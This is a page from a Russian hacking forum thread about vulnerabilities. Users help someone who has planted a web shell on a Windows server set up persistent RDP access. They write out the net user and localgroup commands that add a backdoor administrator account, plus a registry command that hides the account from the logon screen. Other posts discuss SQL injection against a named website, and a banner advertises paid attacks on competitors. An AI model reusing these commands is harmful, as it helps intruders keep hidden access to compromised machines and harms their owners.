Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1510 из 2438

1510

Опции темы

Поиск в этой теме

Опции просмотра

#15091

20.09.2010, 09:37

kfor

Участник форума

Регистрация: 01.09.2005

Сообщений: 194

С нами: 10889431

Репутация: 34

Цитата:

Сообщение от Darth Padla

Darth Padla said:
А почему в личку?мне не жалко,просто из принципа раскрутить хочется.
view-source:http://znakomye.ru/news.php?
дальше скуля

Блин проковырялся , но ничё не вышло....

#15092

20.09.2010, 10:01

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

Цитата:

Сообщение от GroM88

Народ, такой вопрос.
Вообщем залил шел wso2 на win2k3 имею полный доступ ко всему что находится на винте.
Как через шелл создать юзера и добавить его в группу админов что бы я мог зайти на RDP ?

учётка для дедика:

net user user password /add

net localgroup Administrators user /add

net localgroup "Remote Desktop Users" user /add

net accounts /maxpwage:unlimited

скрыть учетку:

Для этого заходим в реестер (Пуск > Выполнить > regedit.exe) переходим в

HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->WindowsNT->CurrentVersion->Winlogon->SpecialAccounts->UserList

и создаём там новый параметр DWORD (правой кнопкой мыши,новый параметр DWORD)

Называем этот параметр именем твоего аккаунта,и присваиваем ему численное значение 0.

ну и патч для мультиюзерности ставим.

ответ 3x'e'orcist

так это вроде как палевно,юзер может заметить как ты у него в реестре копаешся

предлагаю сразу ключик добавить с cmd:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" \v ИМЯ УЧЁТКИ \t REG_DWORD \d "00000000" \f

#15093

20.09.2010, 10:06

GroM88

Познающий

Регистрация: 25.10.2007

Сообщений: 46

С нами: 9761387

Репутация: 2

Вы походу неправельно меня поняли. Я имел ввиду не как создать учетку на дедике.

А как создать учетку через залитый шелл на дедик)

#15094

20.09.2010, 10:09

kfor

Участник форума

Регистрация: 01.09.2005

Сообщений: 194

С нами: 10889431

Репутация: 34

Цитата:

Сообщение от GroM88

Вы походу неправельно меня поняли. Я имел ввиду не как создать учетку на дедике.
А как создать учетку через залитый шелл на дедик)

Нет тебе правильно сказали. Напиши рег файл, запихай в автозагрузку и ребуть. Ну или если сможешь выполнить его, то выполняй. Тока через реестр можно добавить.

#15095

20.09.2010, 10:44

GroM88

Познающий

Регистрация: 25.10.2007

Сообщений: 46

С нами: 9761387

Репутация: 2

ммм...

я создал .bat файл с содержанием

net user логин пасс /add

net localgroup Administrators user /add

net localgroup "Remote Desktop Users" user /add

net accounts /maxpwage:unlimited

подскажите в какую папочку его запихнуть что бы после ребута он автоматом запустился?

#15096

20.09.2010, 11:07

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

Цитата:

Сообщение от GroM88

ммм...
я создал .bat файл с содержанием
net user логин пасс /add
net localgroup Administrators user /add
net localgroup "Remote Desktop Users" user /add
net accounts /maxpwage:unlimited
подскажите в какую папочку его запихнуть что бы после ребута он автоматом запустился?

зачем тебе бат файл? зачем так извращатся? дали же тебе решение чуть выше...

#15097

20.09.2010, 19:18

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

Цитата:

Сообщение от GroM88

ммм...
я создал .bat файл с содержанием
net user логин пасс /add
net localgroup Administrators user /add
net localgroup "Remote Desktop Users" user /add
net accounts /maxpwage:unlimited
подскажите в какую папочку его запихнуть что бы после ребута он автоматом запустился?

запусти его сам и все можеш батник удалить,главное не забудь как Strlilo4ka->exor(ist,добавить ключик в реестр...

#15098

20.09.2010, 20:18

-PRIVAT-

Участник форума

Регистрация: 17.04.2010

Сообщений: 221

С нами: 8456912

Репутация: 17

Имеется инъекция с выводом в ошибке, такого типа 1062 - Duplicate entry '38411' for key 1 . Есть ли софт, который будет дампить значение в ковычках, то есть 3841, так как последний символ отбрасывается?

P.S Скуля переберается лимитом, так и софт должен делать +1 лимит. +)

#15099

20.09.2010, 20:54

daniel_1024

Участник форума

Регистрация: 15.07.2009

Сообщений: 158

С нами: 8854580

Репутация: 34

toolza от Pashkela - /thread148915.html

очень много режимов работы

#15100

20.09.2010, 21:49

Redwood

Участник форума

Регистрация: 10.09.2009

Сообщений: 120

С нами: 8772211

Репутация: 56

Цитата:

Сообщение от -PRIVAT-

Имеется инъекция с выводом в ошибке, такого типа 1062 - Duplicate entry '
3841
1' for key 1 . Есть ли софт, который будет дампить значение в ковычках, то есть 3841, так как последний символ отбрасывается?
P.S Скуля переберается лимитом, так и софт должен делать +1 лимит. +)

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][/COLOR]

Вот, написал скрипт, все действия прокомментировал, запрос поменяешь под себя.

Страница 1510 из 2438

1510

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)

Быстрый переход